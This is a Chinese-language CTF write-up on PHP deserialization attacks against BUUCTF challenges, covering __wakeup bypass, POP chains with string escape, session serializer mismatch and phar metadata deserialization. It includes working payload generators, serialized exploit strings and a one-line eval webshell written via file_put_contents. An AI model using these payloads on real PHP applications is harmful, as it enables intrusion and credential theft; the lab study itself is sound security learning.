本来想做漏洞复现,但是稍微看了几个漏洞之后发现复现对菜鸡来说不太友好,决定这里重做一下BUU的几道题目。主要是PHP的反序列化漏洞不太好找。
若在对象的魔法函数中存在的wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
若在对象的魔法函数中存在的__wakeup
方法,那么之后再调用 unserilize()
方法进行反序列化之前则会先调用__wakeup
方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
抄一下rayi师傅的示例代码:
flag = 'no.no.no'; } function __destruct() { echo $this->flag; } } $a='O:4:"text":2:{s:3:"key";s:7:"1******";}';//$a='O:4:"text":1:{s:3:"key";s:7:"1******";}'; unserialize($a); ?>
这样改为text的属性数改为2后,返回的结果就从no.no.no变为了flag{},说明我们已经绕过了wakeup的执行。
https://xz.aliyun.com/t/8359 5.7 5.8
https://xz.aliyun.com/t/8296#toc-1
https://xz.aliyun.com/t/9478 5.4
https://xz.aliyun.com/t/9546 6.0
https://xz.aliyun.com/t/6467 5.1
https://xz.aliyun.com/t/6476 5.2
终于找到了一道比较合适的审POP链的PHP反序列化题目,但是有点难了,很是难顶。
一步步来,寻找反序列化的入口,看是否有我们能够操控的参数。
我们先看到序列化,是一个经过safe过滤的序列化(根据过滤方式,很容易联想到字符逃逸),两个参数为Info类中的参数都可控,存在于getNewInfo
方法中,我们跟进getNewInfo
方法可以找到上面的update()
方法,在反序列化中被调用了。继续跟进update()
方法
update()方法实例化了一个类,在一个魔术方法__toString
中被调用了。我们可以在__destruct
中发现一个可以利用的echo,这里echo 字符串可以触发__toString
。
对源码进一步分析之后,我们可以发现,这个题想要得到flag还是要回到sql上。我们可以发现另一个可以利用的魔术方法__call
POP链:
UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()
脚本和写脚本的思路在下面~
nickname->update($this->age); 这个在UpdateHelper类里可以利用echo触发 return "0-0"; }*/ } class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } /*public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); 看上面的__toString(),如果nickname是Info类,调用不存在的update方法就会进一步调用这里的__call,这波啊是魔术方法的联动 最后一步还是在这个类里,我们需要new dbCtrl()带出admin的密码 }*/ } Class UpdateHelper{ public $id; public $newinfo; public $sql; public function __construct($newInfo,$sql){ $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } /*public function __destruct() { echo $this->sql; 这里sql=User类就可以触发User类中的__toString() }*/ } class dbCtrl { public $hostname = "127.0.0.1"; public $dbuser = "root"; public $dbpass = "root"; public $database = "test"; public $name = "admin"; public $password; public $mysqli; public $token = "admin"; } // 实例化一下子 $dbC = new dbCtrl(); $user = new User(); $info = new Info("sp4c1ous", "1"); $updatehelper = new UpdateHelper("sp4c1ous", "sp4c1ous"); //按照我们上面的构思改一下属性 $info->CtrlCase = $dbC; $user->nickname = $info; $user->age = "select password,id from username where username=?"; $updatehelper->sql=$user; echo serialize($updatehelper); //O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:49:"select password,id from username where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:8:"sp4c1ous";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:8:"sp4c1ous";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
这是我们按照我们的POP链序列化出来的序列化值,但是我们可以发现这里有个问题啊,我们这里是一个UpdateHelper类的序列化值,因为我们是从它的__destruct进入的啊,但是我们上去看我们的序列化、反序列化点,我们是要从Info类里输入的,这里应该是Info类。
怎么样能够把UpdateHelper类放到Info类中?
很简单,我们布置好的UpdateHelper类在什么时候才发挥作用?调用__destruct()
的时候,在正常调用User()->update()
的时候Info->CtrlCase
没有任何意义。所以,如果我们把Info->CtrlCase
设置成UpdateHelper类怎么样?unserialize()
结束后由于我们没有用到CtrlCase,所以会执行__destruct
,完成我们想要的操作。(想不到啊想不到TAT)
//补充一下上面 $realinfo = new Info("233333", "sp4c1ous"); $realinfo->CtrlCase = $updatehelper; echo serialize($realinfo);
O:4:"Info":3:{s:3:"age";s:6:"233333";s:8:"nickname";s:8:"sp4c1ois";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:8:"sp4c1ous";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
要逃逸462个字符
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunion
然后这里是会返回一个MD5的密码的,之后在线解密就知道密码了,那个0-0是系统生成的不是md5,md5这里32位嘛,应该没什么问题。
简单讲一下字符逃逸吧,关于字符逃逸其实理解起来很简单,而且掌握了之后几乎就是不过脑子的,我们就以上面的题为例子。
罪因:
序列化中是存在记录字节数的位置的,但是这里如果对序列化后的值使用str_replace过滤的时候不考虑字符数,就会在不改变序列化时储存的字符数的情况下改变内容,进而会破坏原本的序列化结构。
这里sp4c1oushacker是16个字符,但是序列化会认为是12个,但后十二个字符之后没"
,所以就没法识别了。
这本来可以起到过滤的作用,但是如果恶意利用也是很好利用的!
像这里,本来我们的输入就是上面的内容,序列化的也是上面的内容,这些都会在nickname里被当作nickname的值,最后由nickname的"
闭合。但是由于这里有上面的safe,处理完之后就变成了这样,字符数替换的前后不统一,hacker的字符数很完美的等于了上面那一大串的字符数,最后我们恶意输入的"
代替了nickname的"
闭合,那么后面的内容也就成了原本序列化的延申了~
大部分时候不是这样的,但是原理是一样的,大部分时候是要用我们的输入内容挤掉后面原本控制不了的属性生成的序列化,和上面其实没有差异。
源码泄露 首先下载源码包 进行代码审计
首先看到index.php
第五行这段代码明显写错了 把limit错写成了limti 那么这里会一直为空 >5的情况不会出现 相当于只有后面的base64解码cookie
下面一帮代码很有意思 是一段对cookie进行覆盖的代码 原来cookie解不出来可能这么简单的逆向就可以解了
然后看一下登陆逻辑 很简单 也没什么错误
跟进到包含的inc.php中
这里出现了一个很重要的东西
PHP中SESSION反序列化机制 | Spoock
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列化存储有关的选项
在phpstudy默认配置的php.ini中可见:
session.save_path = "N;/path" session.save_handler = files session.auto_start = 0 session.serialize_handler = php
在上述的配置中,session.serialize_handler
是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()
函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()
函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()
函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');
。
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列化之后的内容。
在phpstudy_pro中进行尝试:
这里可以看到我们的PHPSESSID 然后可以在临时文件夹中发现我们的session文件
可以发现 session文件名的后缀和我们的PHPSESSID是一致的 存储方式也和我们上面所说的php方式的存储方式一致
我们再来看一下其他引擎下的内容
由于name
的长度是4 所以这里是<0x04>
PHP中的Session的实现是没有问题的,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储$_SESSION
数据时 所使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确地反序列化。 通过精心构造的数据包,我们就可以绕过程序的验证或者是执行一些系统的方法。
例如:
$_SESSION['SP4C1OUS'] = '|O:7:"sp4c1ous":0:{}';
上述的$_SESSION的数据使用php_serialize
引擎存储后的结果就是:
a:1:{s:8:"SP4C1OUS";s:20:"|O:7:"sp4c1ous":0:{}";}
但是如果我们在进行读取的时候,选择的是php
引擎 最后读取的结果就会显示为
array (size=1) 'a:1:{s:8:"SP4C1OUS";s:20:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'sp4c1ous' (length=7)
这是因为当使用php引擎的时候,php引擎会以 |
作为作为key和value的分隔符,那么就会将a:1:{s:8:"SP4C1OUS";s:20:"
作为SESSION的键值key,将O:7:"sp4c1ous":0:{}
作为value,然后进行反序列化,最后就会得到sp4c1ous这个类。
可见,这样序列化和反序列化使用的不一样的引擎就是造成PHP Session反序列化漏洞的成因。
我们可以根据源码重复声明了引擎为php推断,当前配置时php_serialize而不是php 当前常用的只有这两种引擎
那么我们就可以在当前php里找一下有没有操作cookie的地方 没有操作cookie的地方
但是我们可以发现可以利用类
参数 username和password我们都可控 而且是file_put_contents 那么我们可以利用这里写一个shell
还有,如果包含了inc.php的话 读取方法就也会变成php处理器
像这里(听直播的就会知道,这里在服务器上的代码是有这个包含的 但是我们下载的源码包里没有 如果这里的写入方式不是php引擎的话我们就没法做了哈)
这里的cookie是我们可控的 会直接base64解码后赋值给session
访问check.php这里我不是很理解 网上师傅们发出来的wp要不就是简单的步骤操作 要不就是口径不一致 说什么的都有 直播中也只是简单的直接说访问check.php反序列化
询问了一下群主 发现钻牛角尖了
访问一遍check.php的目的就是为了利用包含了inc.php后的php引擎 index.php也就是没有包含inc.php的
有些问题还是存在 但是这样理解起来起码思路通畅了很多
过于各种session cookie配置的问题还是让人头晕啊 什么都不会的人果然不能细审代码QAQ
接下来就要构造payload了
我们刚刚已经看到插入|
的效果了 现在我们需要的就是找到合适的位置插入|
首先写一下payload:
这一串就是我们构造的payload通过session_serialize序列化出来的值
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php";s:8:"password";s:24:"";s:6:"status";N;}}
我们想要利用的话就要把O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php";s:8:"password";s:24:"?php eval($_POST[1]);?";s:6:"status";N;
这一串User类的调用都包含进去
其中 username和password是我们可以控制的 那么我们可以利用php引擎的特性 在username处手动添加|
构造成像下面这样形式 给php的引擎反序列化
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php|O:4:"User":3:{s:8:"username";s:12:"sp4c1ous.php ";s:8:"password";s:24:"";s:6:"status";N;}}
php引擎读取的时候就会自动把|
之前的内容当作键值不管 在传入session后对后面的内容自动进行反序列化
总结一下做题过程:
index.php传进去cookie
然后访问check.php 利用它的php引擎 触发session反序列化漏洞 导致恶意代码的写入
进而访问写好的恶意文件
这里因为服务器里闭合等问题 payload写入的内容最后被改成了这样
成功!
这里是想重做一下这道题,总结呈现一下phar反序列化,就不兜圈子了,源码可以文件包含读,文件上传显然就是传phar文件的。
依稀记得当年做这个题的时候把生成phar的脚本傻傻上传的样子...
这个题目还是k0rz3n师傅说的,我是说不出来这么有水平的话~
原理
phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。
phar详解
Phar 的文件结构
phar 文件最核心也是必须要有的部分如图所示:
a stub
我们可以把复杂化成下面这个样子
xxx
前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,这部分的目的就是让 phar 扩展识别这是一个标准的 phar 文件
a manifest describing the contents 因为 Phar 本身就是一个压缩文件,它里面存储着其中每个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents 这部分就是我们想要压缩在 phar 压缩包内部的文件
创建Phar文件
startBuffering(); $phar->setStub(""); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 & 签名自动计算 $phar->stopBuffering(); ?>
wenhex看一下生成的phar.phar
可以看到TestObject类已经写进了我们的phar文件中,我们其实主要只需要构建类的利用,这个文件后面的这部分基本上是不会变的。
说过了,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 测试后确认受影响的函数如下:
受影响的函数列表 | ||
---|---|---|
fileatime | filectime | file_exists |
file_put_contents | file | filegroup |
fileinode | filemtime | fileowner |
is_dir | is_executable | is_file |
is_readable | is_writable | is_writeable |
copy | unlink | stat |
可说的不多,做题做题。
可以文件包含都到这么几个php的源码
重点很自然在class.php中啦。
C1e4r类里有一个可以利用的echo
还有一个全是魔术方法的Show类...
又一个Test类
分析一下POP链
我们肯定是要利用这个file_get_contents
包含flag.php了 value是从$params
里取的数组值 我们可以控制
到这个file_get_contents
的方式我们在这个类里就能推出来,就是要从 __get()
->get()
->file_get()
,那么现在的问题就是怎么样触发这个__get()
了。读取不可访问或不存在的属性的值时会调用__get()
。
我们可以利用这个地方,篡改一下属性的调用,让这里变成Test类,就可以调用不存在的source
进而触发__get()
。
现在问题就变成了怎么触发__toString()
,在上一个类里其实已经给出了答案
__destruct()
魔术方法的echo
就可以~
很简单的反序列化,主要就是提一下phar这个东西。
test = $this->str; echo $this->test; }*/ } class Show { public $source; public $str; /*public function __toString() { $content = $this->str['str']->source; return $content; }*/ /*public function __set($key,$value) { $this->$key = $value; }*/ } class Test { public $file; public $params; /*public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; }*/ } $clear = new C1e4r(); $show = new Show(); $test = new Test(); //还是一样,改属性 $clear->str=$show; $show->str['str']=$test; $test->params=array('source'=>'var/www/html/f1ag.php'); echo serialize($clear); @unlink("phar.phar"); $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'.""); $phar->setMetadata($clear); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
文件的命名在function.php里有,改属性的时候要注意一下格式。
做了几道题,简单的总结、实验了一下字符逃逸、session反序列化、phar反序列化,进一步磨练了一下找POP链。